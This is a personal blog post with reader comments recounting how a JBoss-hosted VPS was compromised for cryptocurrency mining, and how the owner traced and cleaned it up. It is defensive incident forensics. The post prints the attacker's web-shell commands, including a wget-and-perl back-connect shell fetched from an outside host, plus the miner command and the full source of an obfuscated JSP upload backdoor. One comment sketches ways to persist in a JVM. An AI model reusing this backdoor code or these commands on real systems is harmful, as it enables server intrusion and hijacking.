Kids, this is story of How I Met… my VPS hacked.

Posted on by

Hi everyone,

Just recently I published my technical goals for 2014  and one of them was to learn more about security. Well it couldn’t have been more appropriate, my Virtual Private Server (VPS) just got hacked, for the second time (I use the VPS to host a Java web application). The first time, I basically rebuilt my server and hardened security as much as I could, but it didn’t work (more on what I did later). I’m not really a system administrator nor do I have much experience on the matter so I guess I must learn my lessons either studying or by being stung.

What happened

My VPS was being used to mine bitcoins, I believe. If you never heard of bitcoins, check Wikipedia

How did I found out something was wrong?

My VPS is configured to send me an email alert when CPU usage is above 90% for more than 2 (two) hours, which was what happened. I received an email by 20.30 last night (Jan, 17 – 2014)

I logged in my VPS and used the top command to find that a single process was using all CPU, this was the culprit:

14915 ?        Ssl  710:07 ./logrotate -o stratum+tcp://bat.minersbest.com:10470 -u apapun.seattle -p x –threads=4 –background

Never heard of something like that, but with a bit of googling I traced it to bitcoin mining.

As I said at the beginning this was the second time my server got hacked (using the same method I believe ), so this time I really had to figure what went wrong as I wasn’t going to do everything from scratch again!

The first time my server was hacked I rebuilt it from scratch with the following steps to increase security:

  • Install a newer CentOS version
  • Update all packages
  • Disable root login via SSH
  • Disable password login via SSH (only private keys)
  • Setup firewall to block all traffic except port 80 (HTTP), 443 (HTTPS) and 22 (SSH)
  • Install Fail2Ban
  • Change the user and root password to even more secure passwords (more than 15 chars each)

I thought I had it covered…

I tried checking the SSH log at /var/log/secure and found that lots of attempts were made to login with different users (with common names like admin, oracle, weblogic, postgres, etc…) but none seemed to have succeeded as I had setup only private key login.

Could it be that someone found a vulnerability in my web application? Oh boy…
I have a setup where Jboss hosts the web application and Apache proxies and handles the SSL stuff.

Checking Apache Logs

I went on and checked the Apache access logs (in /var/log/httpd/access_log) around the time the CPU first went off and found something interesting

114.79.12.168 – – [17/Jan/2014:18:15:26 +0000] “GET /a/pwn.jsp?cmd=cat%20/proc/cpuinfo HTTP/1.1” 200 540 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36”

A GET request to /a/pwn.jsp with a parameter cat /proc/cpuinfo… like this JSP was some kind of a web shell.. and it got a 200 OK response? No way…
Back to the browser to check and surely enough, the server responded with an empty page…  Next check… I try /a/pwn.jsp?cmd=ls and ouch… the directory listed…

Ok, so let’s check the full log using the following command (trimmed for readability)

cat /var/log/httpd/acess_log | grep ‘pwn.jsp’

[17/Jan/2014:18:15:26 +0000] “GET /a/pwn.jsp?cmd=cat%20/proc/cpuinfo
[17/Jan/2014:18:15:36 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:15:41 +0000] “GET /a/pwn.jsp?cmd=ls%20-al
[17/Jan/2014:18:15:52 +0000] “GET /a/pwn.jsp?cmd=wget%20pdd-nos.info/.tmp/back.conn.txt%20-O%20bd
[17/Jan/2014:18:16:05 +0000] “GET /a/pwn.jsp?cmd=perl%20bd%20pdd-nos.info%2011457
[17/Jan/2014:18:17:44 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:18:23 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:27:57 +0000] “GET /a/pwn.jsp?cmd=ps%20x

With a little cleaning and url decode, you get the following list of commands:

  1. cat /proc/cpuinfo
  2. ps x
  3. ls -al
  4. wget pdd-nos.info/.tmp/back.conn.txt -O bd
  5. perl bd pdd-nos.info 11457
  6. ps x
  7. kill 14873
  8. ps x
  9. ps x

Interesting to see is that the web shell appears to be just a means to and end, because the wget used in step 4) downloaded something that was used in step 5) by the perl interpreter, I checked the pdd-nos.info link and found what appears to be a some kind of a backdoor shell and I assume this was what was used to launch the bitcoin mining process.

 

Breach detected

Ok, so I have a problem, a big one. And I need to do two things:

  • Eliminate the threat so that my VPS is once again my VPS 🙂
  • Find out how they installed a web shell

I started by searching how someone installed a web shell in my Jboss instance. With a bit of googling I found the following resources (the “pwn.jsp” filename was a really big help there)

Which in turn led me to find an existing vulnerability regarding JBoss’s HTTP Invoker was probably used, that basically means an attacker could trigger a remote code execution. Not nice!

With additional search I found an exploit ready to be used. A PHP script that downloads a .war application which contains the web shell and uses the known vulnerability in the HTTP invoker to deploy the .war.

But wait a minute, where was that logrotate process that was consuming my CPU (cleverly named so that I wouldn’t notice)? If there’s a process then there’s an executable somewhere. I found it right inside my /JBOSS_HOME/bin folder along with a file named jboss4.txt (also named so that I wouldn’t found him suspicious) whose content was

print “Executed”;
system(“nohup ./logrotate -o stratum+tcp://bat.minersbest.com:10470 -u apapun.seattle -p x –threads=4 &> logrotate.log”);

Now, the issue is… was there something else that could have been changed so that even if I restarted JBoss it would allow the attacker to execute the same attack again? Hunt time!

Indeed I found that in /JBOSS_HOME/server/INSTANCE/server/deploy/management was a little folder called “lMvcdFxMFrvdib.war” (I kid you not) and inside the folder a file named “ZqxQljMExRpriU.jsp” (again I kid you not).. the content of the JSP was

<%@page import=”java.io.*,
java.util.*,
sun.misc.BASE64Decoder”
%>
<%
String PJdpj = “”;
String pIGx = “”;
String RSVw = System.getProperty(“jboss.server.home.dir”);
if (request.getParameter(“pUBYyDsT”) != null){
try {
PJdpj = request.getParameter(“pUBYyDsT”);
pIGx = request.getParameter(“oAEICWIo”);
byte[] rFPE = new BASE64Decoder().decodeBuffer(PJdpj);
String MfNJU = RSVw + “/deploy/” + pIGx + “.war”;
FileOutputStream twkH = new FileOutputStream(MfNJU);
twkH.write(rFPE);
twkH.close();
}
catch(Exception e) {}
}
else {
try{
String VBpM = request.getParameter(“oAEICWIo”);
String dhkDS = RSVw + “/deploy/” + VBpM + “.war”;
new File(dhkDS).delete();
}
catch(Exception e) {}
}

Although the variable names are obfuscated you can tell that it receives some content encoded as Base64 and then writes that content to a .war file inside JBoss’s deploy directory. Clever trick… if I was to remove the attacker’s original war (the one with pwn.jsp) and restart Jboss, this .war file would also be deployed and provide a clear path of attack again!

Securing JBoss

So I had to secure the HTTP Invoker and that was the problem. I had the HTTPInvoker and WebConsole deployed and accessible to anyone (big, big mistake), since I don’t need them, I simply removed them, simple enough. Next, to delete the files!

Eliminate the threat

I had to delete the files in JBOSS_HOME/bin which where used to create shell and mine the bitcoins, I had to delete the pwn.jsp that was installed in my JBoss instance and had to delete the war with the crazy name to stop an attacker from deploying another war without my knowledge.

Conclusion

The conclusion is that you can never be to careful with security. Anyone from around the world can try to frak you and you must be very careful. I overlooked the deployment of the web console and HTTP Invoker and I paid for that. Things could have been worse If the attacker found a way to upgrade the privileges of the user running jboss (it’s a sudoer, but the password is really hard) he could have done a lot more damage. I hope I’ve removed the threat but I can’t be 100% sure, so I’ll have to  keep monitoring, but I’ve learned my lesson.

I found a detailed guide explaining the exploit and how it works, in case you want additional information.

Happy coding and be safe!

Additional resources

 

 

47 thoughts on “Kids, this is story of How I Met… my VPS hacked.”

  1. Pingback: Tarnished Chrome | TechSNAP 146 | Jupiter Broadcasting

  3. Pingback: Virtual Mining Bitcoin News » What Motivates People To Hack Computers? Hint: Money

  5. You said the user account that runs JBoss is in sudoers. Even with a strong password, that’s a really bad idea. User accounts that run daemons should have as few privileges as possible. It’s best to change the password to something invalid and set the shell to /sbin/nologin. See the -l (lowercase L) option to passwd.

    Reply ↓

  6. “The conclusion is that you can never be to careful with security.” – then stop using the JVM and anything ever written for it. Immediately.

    Reply ↓

    • I understand your feelings, but that’s simply impossible. I’m not going to re-write my entire application in another language (in which I don’t have any expertise, or at least as much as I have in Java).

      I know the JVM has been plagued by security holes, but I simply don’t have the resources to even think about that.

      Reply ↓

  7. If you’re interested in monitoring your filesystem for backdoor file placements as you’ve experienced, I think running something like ossec (http://www.ossec.net/).

    As for changing ports for SSH, this won’t hurt to obfuscate (may impact where you can connect from ie firewalls etc), however what you may also like to do is put something in place to deny multiple SSH attempts (regardless of the port used) by running something like fail2ban (http://www.fail2ban.org/wiki/index.php/README).

    Reply ↓

    • Hi, sorry I edited your comment to replace the “f” word, but indeed you’re right.
      There was no need, and I’ll be sure to fix that. Thanks for the comment.

      Reply ↓

    • Will do. I had that suggestion made by people over at reddit and I agree, it’s one additional layer of security (even if by obscurity)

      Reply ↓

      • Move your ssh port of 22 doesn’t prevent anything.The theory is that an attacker using the default port or TCP 22 to establish a connection will be denied access because the service is running on a secure port.

        Changing the port number won’t prevent the SSH port from being found by an attacker with a port scanner who takes the time to scan all of the ports on your server,however it minimize the risk.

        Reply ↓

      • Obscurity is one, but its not the biggest one.

        If you moved the port, it stops you being the victim when someone is scanning the internet using a blanket approach. Unless you are being specifically targeted, there is a good chance the attacker will go with the next easy catch.

        Reply ↓

      • Changing the port does not make your box more secure given the other changes you made.

        Two things you could do which are much better:
        1) Use the AllowUsers option in /etc/ssh/sshd_config to restrict who can login.
        2) Setup an openvpn server on your box and change the listening address of sshd_config to 127.0.0.1 so that you can only login when you are connected to the openvpn server. I do this and it completely eliminates those random ssh login attempts over the internet.

        Reply ↓

  11. Great post, I just wonder why we let people like that get away with this.
    Seriously, there should be an easy way to report these breaches and related logs to law enforcement and then have them chase the “worse offenders” in order of priority – but highest number of hacks done, or some such.

    I recently had to chase hackers from my PHP wordpress as well – and as you gathered, it was similar scenario. Once they used single WordPress vulnerability they left so many other backdoors that it took me months to track them all (hopefully) down…

    Reply ↓

    • If you value what you have in your charge, You need to do the homework reading about hardening is one of the most important thing maybe you take a defender perspective this is the better aproach to a noob in security field.

      Reply ↓

  12. Nice write-up on your troubleshooting.. it gave me an itch to look at my own VPS.

    My company’s applications don’t use JBoss or Tomcat directly on the Internet, it is fronted by Apache. I recommend that you don’t put JBoss listener on port 80. Think about using port 8080 instead and then put Apache on port 80 to handle the web traffic. You can then forward and reverse proxy the http connections to JBoss.

    # Proxy example to JBoss using HTTP
    ProxyPass /mycontext/ http://127.0.0.1:8080/mycontext/
    ProxyPassReverse /mycontext/ http://127.0.0.1:8080/mycontext/

    # Proxy example to JBoss using AJP
    ProxyPass /mycontext/ ajp://127.0.0.1:8080/mycontext/
    ProxyPassReverse /mycontext/ ajp://127.0.0.1:8080/mycontext/

    Not sure if this would have prevented your attack but it would be easy to setup and test. Probably give you a bit more security too – in general. I’ve always considered Apache to be a bit more resistant to questionable GET requests.

    Reply ↓

    • Thank you very much for not only the comment but also for the apache configuration.
      I was using Apache as a front-end to Jboss, but thanks anyway.

      Reply ↓

  13. Good thing it was only bit coin mining and you caught it on time.

    A nice reminder to keep the fancy stuff for the test and environment and strip away everything non essential from production.

    Reply ↓

  14. I hope I’ve removed the threat but I can’t be 100% sure, so I’ll have to keep monitoring, but I’ve learned my lesson.

    No. No you didn’t. To quote you:

    I’m not really a system administrator nor do I have much experience on the matter…

    You wandered around your compromised system and found a couple of nasty bits floating about, so you got rid of them and continued to use the compromised system as is. If you own or run a system, especially if you aren’t a sys-admin sort, and it gets compromised throw it out. Back up anything absolutely critical after taking it offline (or as offline as you can) and junk the OS. Start over. Thoroughly document your system installation and hardening procedures (don’t forget to update them if you change something) and go on from there. I know way too much about Java and cute/clever ways to abuse it to ever trust an App Container that’s been compromised. Ever. Worst. Plan. Ever.

    Reply ↓

    • Kevin, indeed you are right.
      When I said I’ve learned my lesson it was more in the sense that I’m going to be a lot more aware and read more so that hopefully, in time, I’ll be able to properly manage my own server.

      And yes, I’ll wipeout the entire machine as soon as I can.
      Any tips (or resources) about those “cute/clever” ways to abuse Java? I’m kind of curious on how to learn more about that.

      Reply ↓

      • Off the top of my head? Well, we can start modifying the JBoss startup scripts to do some runtime instrumentation using the java instrumentation framework on behalf of the attacker which can let you do some interesting things. If you aren’t looking for it you very well might not notice the additional command line arguments required for that.

        From there we could start using something like ASM, cglib or Javassist to do some bytecode generation to rewrite some core JBoss libraries and replace the jars in place, with modified versions (or do the same to any software you have deployed in that JBoss instance… or really any other JAR/WAR/EAR/*AR that would get loaded by JBoss directly or on behalf of your application… or just drop in modified versions of the JBoss jars if you already know what you’re targeting). If you know what you’re doing none of this is very hard.

        In general, once a system has been compromised, you probably should regard it as plague-ridden and completely untrustworthy. Google the phrase:

        what do I do with a compromised server

        and you’ll find that the general advice is to stomp it into the ground unless you plan on conducting a forensics investigation to figure out precisely what happened; however, even if that is your intent leaving it online is generally a Bad Plan(tm).

        Reply ↓

  15. Wasn’t the intrusion ultimately due to a severe flaw in Jboss? Once your software has flaws like this there’s only so much you can do.

    Reply ↓

    • Indeed the flaw was in Jboss, but since it was my application I should have researched better to know about this kind of stuff. And should have protected my self accordingly.

      Oh well, it was a good learning experience.

      Reply ↓

  16. I general I would suggest you wipe that server and start from scratch. In this specific case it looks like you did find the method used to reinfect your machine but you don’t know there isn’t another one or some other vulnerability that was opened up at the same time.

    Reply ↓

    • Indeed. I’ll do exactly that. Although I do believe this was the work of someone who doesn’t have a great amount of knowledge because, frankly, I’m no expert in this kind of subject and I was able to find him. A true hacker would probably had wiped the logs and stuff like that I believe.

      Reply ↓

      • Freshhawk (and Kevin up above) are both right – you really shouldn’t trust that system any more.

        Consider learning (or hiring) some “devops” expertise. If I were in your shoes, I’d be using something like Ansible or Puppet or Chef to allow me to deploy/configure a replica of your entire VPS with a single command.

        Situations like this are a _whole_ lot less stressful when your first response can be “spin up a new VPS and deploy all of our software/data “, allowing you to examine the compromised system at your leisure (and when you discover problems like JBoss exploits, update your Ansible playbooks to incorporate patches/updates/system-reconfigurations, and redeploy again).

        (Personal rcommendations: Vagrant, Ansible, and DigitalOcean/AmazonAWS hosting all work together really nicely to make that simple for at least my use cases…)

        Reply ↓

  17. this can be traced back to the mining pool easily.

    Mining pool = minersbest.com
    Username = apapun (seems to be an Indonesian word)
    Worker = apapun.seattle
    Worker PW = x

    Try and see if the pool will give you the info for that account or at the very least, shut it down.

    Reply ↓

    • Hi Jack.

      I know I take my chances when I’m doing this kind of activity. But I needed the web application live and I don’t have anyone else to do this (nor I have the money to pay someone who actually knows about system administration). So I kind had to do it myself (with all the risks my ignorance carries) but I hope to keep learning.

      Reply ↓

  20. The fact you’re using WordPress to host what is essentially a static blog speaks volumes about your (lack of) security awareness.

    Reply ↓

    • Hi Trev

      I appreciate your feedback. I understand that WordPress has had over the years lots of security problems, but it also hard to beat the conveniency and I keep my self updated. Although, if you have an alternative to suggest I’ll be happy to hear it (oh, and if there’s a way to migrate WordPress to that….)

      Reply ↓

      • There are many static blog generators, like Jekyll or Pelican. You write your content in plain text format (Markdown, RST, HTML), the generator applies templates to it and builds the whole site as a collection of static HTML files. The migration from WordPress does take some work but the result is much easier and safer to host (no PHP, no MySQL, no WordPress).

        Reply ↓

  24. Pingback: Kids, this is story of How I Met... my VPS hack...

Leave a Reply

Your email address will not be published. Required fields are marked *